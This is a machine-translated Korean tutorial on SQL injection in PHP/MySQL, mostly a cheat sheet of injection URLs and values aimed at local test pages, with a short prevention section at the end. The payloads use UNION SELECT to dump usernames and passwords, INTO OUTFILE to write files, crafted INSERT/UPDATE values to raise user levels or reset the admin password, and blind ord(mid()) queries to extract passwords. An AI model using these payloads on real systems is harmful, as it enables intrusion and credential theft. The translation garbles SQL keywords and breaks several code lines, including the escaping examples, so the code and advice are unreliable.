SQL 주입의 초점은 SQL 문을 구성하는 것입니다. SQL
문을 유연하게 사용해야만 놀라운 주입 문자열을 구성할 수 있습니다. 공부한 후에는 몇 가지 메모를 작성하여 언제든지 사용할 수 있도록 준비했습니다. 다음 내용을 읽으면서
SQL의 기본 원리를 이해하시기 바랍니다. 메모의 코드는 인터넷에서 가져온 것입니다.
===기본 부분===
이 테이블 쿼리:
http://127.0.0.1/injection/user.php?username=angel' 및 LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' 및 LEFT(password,1)='m
연합 연합 선언문:
http://127.0.0.1/injection/show. php?id=1' 유니온 선택 1,사용자 이름,사용자/*의 비밀번호
http://127.0.0.1/injection/show.php?id=' 유니온 선택 1,사용자 이름,사용자/*의 비밀번호
파일 내보내기:
http://127.0.0.1/injection/user.php?username=angel'을 outfile 'c:/file.txt로
http://127.0.0.1/injection/user.php ?username=' 또는 1=1을 outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' Union select 1,username,password from user into outfile 'c :/user.txt
INSERT 문:
INSERT INTO `user`(사용자 ID, 사용자 이름, 비밀번호, 홈페이지, 사용자 수준) VALUES ('', '$username', '$password', '$homepage', '1')
구성된 홈페이지 값은 http://4ngel.net', '3')#
SQL 문은 다음과 같습니다. INSERT INTO `user` (사용자 ID, 사용자 이름, 비밀번호, 홈페이지, userlevel ) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1')
UPDATE 문: 좋아요
먼저 이 SQL을 이해하세요
UPDATE user SET 비밀번호='MD5($password)', 홈페이지='$homepage' WHERE
이 SQL을 다음과 같은 형태로 수정하면 인젝션이 이루어집니다
1: 수정 The 홈페이지 값은
http://4ngel.net', userlevel='3
이고 SQL 문은
UPDATE user SET 비밀번호='mypass', 홈페이지='http://4ngel.net이 됩니다. ' , userlevel='3' WHERE
userlevel은 사용자 레벨
2: 비밀번호 값을
mypass로 수정)' WHERE username='admin'#
이후 SQL 문은 사용자 설정 비밀번호='MD5(mypass)' WHERE 사용자 이름='admin'#)', 홈페이지='$homepage' WHERE
3: id 값을
' OR 사용자 이름='admin' 그런 다음 SQL 문 변경
UPDATE user SET 비밀번호='MD5($password)', 홈페이지='$homepage' WHERE OR 사용자 이름='admin'
===고급 부분===
자주 사용하는 MySQL 내장 함수
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
버전( )
SUBSTRING()
MID()
char()
load_file()
……
함수 적용
UPDATE 기사 SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 Union select 1,database(),version()
SELECT * FROM user WHERE 사용자 이름=char(97,110,103,101,108)
# char(97,110,103,101,108) 천사, 십진수
http://127.0.0.1/injection/user.php?userid=1 및 비밀번호=char(109,121,112,97,115,115)http://127.0.0.1/injection/user와 동일합니다. php?userid=1 및 LEFT(password ,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 및 ord(mid(password,3,1)) >111
데이터 구조 결정 필드 수 및 유형
http://127.0.0.1/injection/show.php?id=-1 Union select 1,1,1
http:// 127.0.0.1/injection/show.php ?id=-1 Union select char(97),char(97),char(97)
데이터 테이블 이름 추측
http://127.0.0.1/injection /show.php?id=-1 조합원 중에서 1,1,1 선택
사용자 이름과 비밀번호를 얻기 위한 교차 테이블 쿼리
http://127.0.0.1/ymdown/show.php?id=10000 Union select 1,username,1,password,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user 여기서 id=1
Other
#첫 번째 비밀번호 확인
http ://127.0.0.1/ymdown/show.php?id=10 Union Select 1,1,1,1,1,1,1,1,1,1,1, ymdown_user의 1,1,1,1,1, 1,1,1 여기서 id=1 및 ord(mid(password,1,1))=49
===주입 방지===
서버 side
magic_quotes_gpc가 켜짐으로 설정됨
display_errors가 꺼짐으로 설정됨
인코딩 측면
$keywords = addlashes($keywords);
$keywords = str_replace("_","_", $keywords);
$keywords = str_replace( "%","%",$keywords);
숫자 유형
intval()을 사용하여
문자열 유형
추가 SQL 문 매개변수에 따옴표
다음 코드의 경우 예방에 주입을 사용하세요
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string ($str);
$keywords = str_replace("_ ","_",$keywords)
$keywords = str_replace("%","%",$keywords)
유용한 함수
stripslashes()
get_magic_quotes_gpc ()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
참고 기사:
http ://www.4ngel.net/article/36.htm (MySQL을 이용한 SQL 주입) 중국어
http://www.phpe.net/mysql_manual/06-4.html (MYSQL 문 참조)
위에서 SQL 인젝션에 대해 소개했습니다. SQL 인젝션 내용을 포함하여 PHP의 SQL 인젝션 구현 테스트 코드는 매우 안전합니다. PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되길 바랍니다.